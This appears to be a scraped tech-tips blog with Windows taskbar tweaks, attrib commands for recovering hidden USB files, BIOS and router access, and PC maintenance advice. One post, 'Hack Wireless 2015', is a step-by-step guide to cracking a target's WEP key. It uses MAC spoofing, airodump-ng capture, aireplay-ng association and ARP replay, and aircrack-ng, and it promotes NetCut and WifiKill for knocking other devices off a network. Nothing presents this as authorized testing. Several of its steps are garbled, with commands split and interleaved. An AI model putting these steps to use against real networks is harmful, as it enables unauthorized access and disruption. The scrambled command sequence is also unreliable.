3. Double-click MouseHoverTime. The default value you'll see is 400 -- which means 400 milliseconds. Type in a new, smaller value -- 150 is a good bet. Then click OK and exit the Registry Editor. You'll have to log off or restart your computer for the change to take effect.

Rearrange taskbar icons

It's easy to rearrange the icons across the bottom of the screen -- simply drag an icon to where you want it to live. You can also add icons to the taskbar by dragging them from an application, and delete the icons by highlighting them and pressing the Delete key.

Take control of the taskbar notification area

The notification area, at the far right of the taskbar, shows system messages and alerts, and displays the icons of programs and services that typically run in the background, such as Windows 7's wireless service. But what determines when, how and which icons show up there seems one of Windows' great mysteries.
There's a simple way to find out, and better yet, to customize it.

Customizing the taskbar notification area.
Click to view larger image.

1. Right-click the taskbar, select Properties, and from the dialog box in the notification area section, click Customize.
2. For each application, select from the drop-down box whether you want the icon and notifications to always be displayed, to never be displayed or to have an icon appear only when there's a notification of some kind. Click OK when you're done.
You can also customize the system icons and services that appear there, including the clock, volume, network, power and Action Center icons. At the bottom of the same screen, click "Turn system icons on or off," and from the screen that appears, choose whether to turn on or off the icon and notifications. Click OK twice when you're done.

See taskbar thumbnails without a mouse

If you're a fan of using the keyboard rather than your mouse whenever possible, you can move your cursor from icon to icon in the taskbar without a mouse -- and still see thumbnail previews.
Press Windows key-T, and you'll move the focus to the leftmost icon on the taskbar. Then, while still pressing the Windows key, press T again to change the focus to the next icon to the right. You can keep doing this as long as you like.

Launch taskbar apps without a mouse

Likewise, you can launch any program on the taskbar without the mouse. Press the Windows key and the number that corresponds to the position of the application on the taskbar -- for example, Windows key-1 to launch the left-most application on the taskbar, Windows key-2 to launch the second left-most application and so on.

Run multiple copies of applications from the taskbar

The Windows 7 taskbar serves a dual purpose, which can get confusing at times. It's used to launch programs, and also to switch between programs that are running. So you launch a program by clicking its icon, and also switch to that program after it's running by clicking its icon.
But what if you want to launch a second instance of the program? Once the program is running, it seems there's no way to launch a second instance, because when you click its icon, you only switch to the running instance.
There's a simple fix: If a program is already running and you want to launch a second instance from the taskbar, hold down the Shift key and click the icon. A second instance will launch. You can keep launching new instances this way.

Get back the Quick Launch bar

Windows 7's new taskbar functions as a program launcher as well as task switcher. As a result, the old Quick Launch bar, the area on the left side of the taskbar that contained shortcuts for frequently used programs, has been banished. However, if you really miss the little applet, you can add it back. Here's how to do it:
1. Right-click the taskbar and choose Toolbars --> New Toolbar.
2 . You'll be asked to select a folder for where the new toolbar should live. In the Folder text box at the bottom of the dialog box, enter this text:
%userprofile%\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch
After you do that, click Select Folder. A link for the Quick Launch bar will be added to the taskbar. It will be on the right of the taskbar, just to the left of the Notification area.

The Quick Launch bar docked on the right. Click to view larger image.

It's not particularly useful docked all the way to the right with no application icons showing, so we're going to have to do a bit of work on it to make it useful. Right-click the taskbar and, in the pop-up menu, remove the check next to "Lock the taskbar." Now right-click Quick Launch and remove the checks next to Show Text and Show Title.
Once you've done that, drag the vertical triple dotted line next to the Quick Launch bar to the left until you expose its icons. To prevent further changes, right-click the taskbar and check Lock the taskbar. You can now use the Quick Launch bar as you could in Windows XP and Vista, including adding icons to it and deleting them.

How to recover hidden Files from Virus infected USB Pendrive

2015-07-24T13:31:00.002+05:30

Permanent Solution for recovering hidden files by Command prompt in windows operating system.

Step One:

Plug your USB Pendrive or External HDD or Memory Card which is Affected.

Step Two:

Go to Start -> Run-> Type CMD and Enter

Step Three:

Find the drive letter for the connected USB drive. For Example, I:

In command prompt, type I:

and Hit enter. Command Prompt will show I:/

Step Four:

Then type

attrib -s -h /s /d *.*

Make sure that you put space between each elements in the code.

and hit enter and wait for few seconds.

Check the Screen Shot of Above Steps:

Hidden folders in pen drive

2015-07-24T13:25:00.003+05:30

hey try this. i am sure your problem will be solved. I too have tried this.........
start->Run->cmd
attrib -h -r -s /s /d h:\*.*

Autorun killer

2015-07-24T13:13:00.002+05:30

Try to kill the Autorun file by following these steps:

Download the file AutorunExterminator
Extract it --> Double-click on "AutorunExterminator" --> Plug in your external hard drive.
This will remove the autorun.inf files from your external hard drive.
Run the following command. Here I assume your external hard drive is G:
```
attrib -h -r -s /s /d g:\*.* 
```
You can copy the above command and then right-click in the Command Prompt to paste it. (Or do "Start" --> "Run" and type Ctrl+V.)
Download Malwarebytes' Anti-Malware, update it, and perform a full scan.

Hack Wireless 2015

2015-07-23T12:35:00.002+05:30

How a wireless network works

A wireless local area network (WLAN) is the linking of 2 or more computers with Network Interface Cards (NICs) through a technology based on radio waves. All devices that can connect to a wireless network are known as stations. Stations can be access points (APs), or clients.

Access points are base stations for the wireless network. They receive and transmit information for the clients to communicate with. The set of all stations that communicate with each other is referred to as the Basic Service Set (BSS). Every BSS has an Identification known as a BSSID, also known as the MAC address, which is a unique identifier that is associated with every NIC. For any client to join a WLAN, it should know the SSID of the WLAN; therefore, the access points typically broadcast their SSID to let the clients know that an AP is in range. Data streams, known as packets, are sent between the Access Point, and it’s clients. You need no physical access to the network or its wires to pick up these packets, just the right tools. It is with the transmission of these packets that pose the largest security threat to any wireless network.

Wireless Encryption

The majority of home and small business networks are encrypted using the two most popular methods:

WEP & WPA

WEP – Wired Equivalent Privacy – comes in 3 different key lengths: 64, 128, and 256 bits, known as WEP 64, WEP 128, and WEP 256 respectively. WEP provides a casual level of security but is more compatible with older devices; therefore, it is still used quite extensively. Each WEP key contains a 24 bit Initialization Vector (IV), and a user-defined or automatically generated key; for instance, WEP 128 is a combination of the 24 bit IV and a user entered 26 digit hex key. ((26*4)+24=128)

WEP also comes in WEP2 and WEP+, which are not as common and still as vulnerable as the standard WEP encryption.

WPA – WiFi Protected Access – comes in WPA and WPA2, and was created to resolve several issues found in WEP. Both provide you with good security; however, they are not compatible with older devices and therefore not used as widely. WPA was designed to distribute different keys to each client; however, it is still widely used in a (not as secure) pre-shared key (PSK) mode, in which every client has the same passphrase.

To fully utilize WPA, a user would need an 802.1x authentication server, which small businesses and typical home users simply cannot afford. WPA utilizes a 48 bit Initialization Vector (IV), twice the size of WEP, which combined with other WEP fixes, allows substantially greater security over WEP.

Packets and IVs

It’s all in the packets. The bottom line is – while you may be able to employ several security features on your WLAN – anything you broadcast over the air can be intercepted, and could be used to compromise the security on your network. If that frightens you, start stringing wires throughout your home.

Every encrypted packet contains a 24 or 48 bit IV, depending on the type of encryption used. Since the pre-shared key is static and could be easily obtained, the purpose of the IV is to encrypt each packet with a different key. For example, to avoid a duplicate encryption key in every packet sent, the IV is constantly changing. The IV must be known to the client that received the encrypted packet in order to decrypt it; therefore, it is sent in plaintext.

The problem with this method is that the Initialization Vectors are not always the same. In theory, if every IV was different, it would be nearly impossible to obtain the network key; this is not the case. WEP comes with a 24 bit IV; therefore, giving the encryption 16 million unique values that can be used. This may sound like a large number, but when it comes to busy network traffic, it’s not.

Every IV is not different; and this is where the issues arise. Network hackers know that all the keys used to encrypt packets are related by a known IV (since the user entered WEP part of the key is rarely changed); therefore, the only change in the key is 24 bits. Since the IV is randomly chosen, there is a 50% probability that the same IV will repeat after just 5,000 packets; this is known as a collision.

If a hacker knows the content of one packet, he can use the collision to view the contents of the other packet. If enough packets are collected with IV matches, your network’s security can be compromised.

The crack

Two of the most popular programs used for actually cracking the WEP key are Airsnort and Aircrack. Airsnort can be used with the .dump files that Kismet provides; and Aircrack can be used with the .cap files that Airodump provides.

Airsnort can be used on it’s own without any other software capturing packets; although, it has been reported to be extremely unstable in this state, and you should probably not chance loosing all your captured data. A better method would be to let Airsnort recover the encryption key from your Kismet .dump file. Kismet and Airsnort can run simultaneously.

For this demonstration, we’ll be using Aircrack. You can use Airodump to capture the packets, and Aircrack to crack the encryption key at the same time.

With Airodump running, open a new command window and type:
aircrack -f 3 -n 64 -q 3 george.cap

The -f switch followed by a number is the fudgefactor; which is a variable that the program uses to define how thoroughly it scans the .cap file. A larger number will give you a better chance of finding the key, but will usually take longer. The default is 2.

The -n switch followed by 64 represents that you are trying to crack a WEP 64 key. I knew because it was a setup; In the real world there is no way to determine what WEP key length a target access point is using. You may have to try both 64 and 128.

The -q 3 switch was used to display the progress of the software. It can be left out altogether to provide a faster crack; although, if you’ve obtained enough unique IVs, you should not be waiting more than a couple minutes.

A -m switch can be used, followed by a MAC address, to filter a specific AP’s usable packets; this would come in handy if you were collecting packets from multiple APs in Airodump.

Aircrack recovered my WEP 64 key within 1 minute using 76,000 unique IVs; the whole process took around 34 minutes.

The same experiment was repeated with WEP 128 and it took about 43 minutes. The reason it was not substantially longer is because I simply let Airplay replay more packets. Sometimes you can get lucky and capture an ARP Request packet within a few minutes; otherwise, it could take a couple hours.

Netcut:
Disconnect any wifi devices from network. Support windows OS . The driver and Install package has been upgrade. tested working under windows 7 both 32 bit and 64 bit OS. Its change MAC address on any adapter, including wireless. Details at How to change MAC. Also support Clone MAC address from any PC that NetCut monitored.
Whereas Wifikill use for Android applications to disable internet connections for a device on same network. Disconnect wifi connection and get full network on your device.

Step 1:-

First Download Backtrack from the following link:

http://www.remote-exploit.org/backtrack_download.html

Step 2:-

Burn the iso image on CD and boot your laptop from CD drive

Step 3:-

Select the third boot option(VESA/KDE).

Step 4:-

Once in BT3, click the tiny black box in the lower left corner to load up a

"Konsole" window.

Step 5:-

Type the following command

airmon-ng

Note down the interface name. In this example wifi0

Step 6:-

airmon-ng stop wifi0

Step 7:-

ifconfig wifi0 down

Step 8:-

macchanger --mac 00:11:22:33:44:66 wifi0

Step 9:-

airmon-ng start wifi0

Step 10:-

airodump-ng wifi0

This will start populating Wifi networks. Press Ctrl + C to stop.

Check the network with WEP encryption.

Notedown BSSID, CH and ESSID somewhere in notepad or paper

Note that if the same BSSID is available in the second part with STATION associated with it,

means you some one is accessing that network and our task will be little easier.

If not than don’t worry we will still crack it.

Step 11:-

airodump-ng -c (channel) -w (file name)

Replace

(channel) with the CH which u had already n

(file name) with any name of your choice

(bssid) with the BSSID which u had already note

--bssid (bssid) wifi0

Note it

Leave this console as it is and start new konsole

Step 12:-

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:66 wifi0

If you don’t get Association Successful mesage then keep on trying until

you got success.

Step 13:-

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:66 wifi0

Well if you don’t see ARP ACK and sent packets are not increasing or still 0

than it means no 1 is

accessing that network.But don’t worry you go an optional step,

Leave this console as it is and start new k

Step 14:-

aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF

konsole

message than keep on trying until you get success

got an optional step

konsole

–b (bssid) –h 00:11:22:33:44:66 wfi0

Press y and enter

Now you will see that ARP and ACK packets in 2nd console are increasing fast

Keep this console as it is and start 4th console.

Step 15:-

aircrack-ng -b (bssid) (filename)-

Just wait and watch…..Backtrack will do rest of the work.

Hurray we got the key.

Done..!!

How to enter modem settings

2015-07-23T12:28:00.003+05:30

To access your ADSL router or modem, connect your computer to the router and then open up your web browser(e.g. Internet Explorer) and type in the default IP-address. If this doesn't take you to the Login screen then the IP-address may have been changed. Please enter the new IP-address instead.

D-Link ADSL routers and modems have a factory default IP-address of 192.168.1.1 with a subnet of 255.255.255.0
To access your ADSL router or modem, connect your computer to the router and then open up your web browser(e.g. Internet Explorer) and type in the default IP-address.
If this doesn't take you to the Login screen then the IP-address may have been changed. Please enter the new IP-address instead. If you can't remember the changed IP-address and don't know how to find that information you can always reset the router so it goes back to factory default settings.

How to Enter PC's BIOS

2015-07-23T12:26:00.001+05:30

BIOS stands for "basic input/output system." This software checks the health of your computer's hardware and allows Windows to start. When you turn on your PC, its BIOS runs a power-on self-test (POST) to ensure that the machine's devices (hard drive, sound card, keyboard, and the like) are connected and working properly. If the test finds no problems, the BIOS turns over control of your PC to another piece of software, typically the operating system.
Every PC has a BIOS, and you may need to access yours from time to time. Inside the BIOS you can set a password, manage hardware, and change the boot sequence. The BIOS user interface is straightforward and easy to access, but you should take caution when exploring the BIOS--don't change settings if you don't know what they do.

Step by Step: Entering the BIOS

1. Get ready to act quickly: You need to start the computer and press a key on the keyboard before the BIOS hands over control to Windows. You have only a few seconds to perform this step.
2. Boot (or restart) the PC: Pay close attention to the first screen that appears. Look for a message that indicates which key you need to press in order to access the BIOS. That key is likely to be:
--A Function key (such as F1, F2, or F3)
--The Esc key
--The Delete key

5 step Speed up System

2015-07-23T12:23:00.002+05:30

1. Restart Your Computer

It's a long running joke that the only thing tech support folks know how to do is tell people to restart their computers.
I've had the displeasure of working with a few "professionals" that might have inspired that joke, but please don't overlook this extraordinarily simple step.
More times than you would believe, I would visit a customer's home or business, listen to a long story about an issue, and then simply restart the computer to fix the problem.
Contrary to accounts otherwise, I do not have a magic touch. Computers sometimes encounter very temporary issues that a restart, which clears its memory and reruns processes, solves.

2. Clear Your Browser's Cache

Yet another joke, albeit a more recent one, is that clearing your browser's cache, the collection of recently visited pages that's saved to your computer's hard drive, is the fix for all possible Internet problems.
That's certainly an exaggeration - clearing cache won't fix every broken website or Internet related problem - but it is often helpful.
Clearing the cache is very easy to do. Every browser has a straightforward method for doing so, even if it is hidden a few layers deep in a menu.
If you have any sort of Internet related issue, especially if it's impacting only some pages, be sure to clear the cache before taking your computer in for service.

3. Scan for Viruses & Other Malware

No doubt scanning for a virus infection was the first thing that came to mind if a virus or other malicious program (collectively called malware) made itself obvious.
Unfortunately, most problems caused by malware don't always clearly point to an infection. It's great if your antivirus program warns you of a problem, but it won't always.
Often times, virus-caused problems appear as general computer sluggishness, random error messages, frozen windows, and things like that.
Before you take your computer in for any reason, be sure to run a full malware scan using whatever antivirus software you're running.

4. Reinstall the Program That's Causing Trouble

A lot of computer problems are software-specific, meaning that they only happen when starting, using, or stopping a particular program that's installed.
These sorts of problems can make it seem like your whole computer is falling part, especially if you use the offending program a lot, but the solution is often very simple: reinstall the program.

5. Delete Your Browser's Cookies

No, there aren't real cookies in your computer (wouldn't that be nice?) but there are tiny files called cookies which are sometimes the cause of problems browsing the web.
Like the cached files mentioned in #2 above, the browser stores these files to make surfing the web easier.

Computer Service

2015-07-23T12:11:00.001+05:30

Computer repair places like Best Buy’s Geek Squad do a lot of things that you can easily do yourself. Instead of paying for a pricy malware removal or computer tune-up, you can do it yourself.
This guide won’t walk you through identifying a failing component and repairing it by hand. It’s focused on the easy stuff – although it’s easy, people pay hundreds of dollars to have it done for them...

Remove Viruses and Malware

Many people still wrestle with infected Windows PCs. If your computer is infected and isn’t working properly, you don’t have to pay someone else to fix it. The Geek Squad doesn’t have any magic tools – they use many of the standard antivirus tools you can use yourself.
To find an antivirus product that actually offers good protection, consult an antivirus test website and see how your antivirus of choice stacks up. If you don’t feel like doing all that research yourself, luckily we’ve done it for you.
Kaspersky and Bitdefender consistently rank in the top of both the AV-Test and AV-Comparatives rankings, and we’ve used both products with good results. They aren’t free, but most of the free antivirus out there is bundling extra nonsense or trying to redirect your search engine to their “secure” solution that isn’t really secure and just shows you more ads or spies on your shopping habits.
For a really deep infection, a good repair place may dig through your autostart entries and registry by hand and manually remove malware that isn’t being caught by tools. However, this can be time-consuming – and if the computer is already so infected, there’s no guarantee all the malware will be removed. In cases like this, they’ll often just reinstall Windows. You can do that yourself, too

Reinstall the Operating System

Some people think that computers become slower over time and eventually need to be replaced – it’s sad, but true. Other people may take the computer to a repair place when it starts slowing down. When dealing with a computer that’s become bogged down by startup programs and toolbars, a simple Windows reinstall is often the fastest, easiest solution.
This can also help if you’re experiencing other problems with your computer, such as file corruption or weird errors. While it’s often possible to troubleshoot these things by replacing corrupted files and bad drivers, it’s usually faster to just reset Windows back to its factory state.
Most new computers come with factory restore partitions, which you can access by pressing the correct key during the boot process (check your computer’s manual). You may also have CDs or DVDs you can restore your computer from. If you installed Windows yourself, you can use the Windows installation disc. On Windows 8, use the Refresh or Reset feature to easily reinstall Windows.
Be sure to back up your important files before doing this. Some places may back up your important files for you, while some may ask you to back them up ahead of time – that’s because they’ll just be reinstalling Windows for you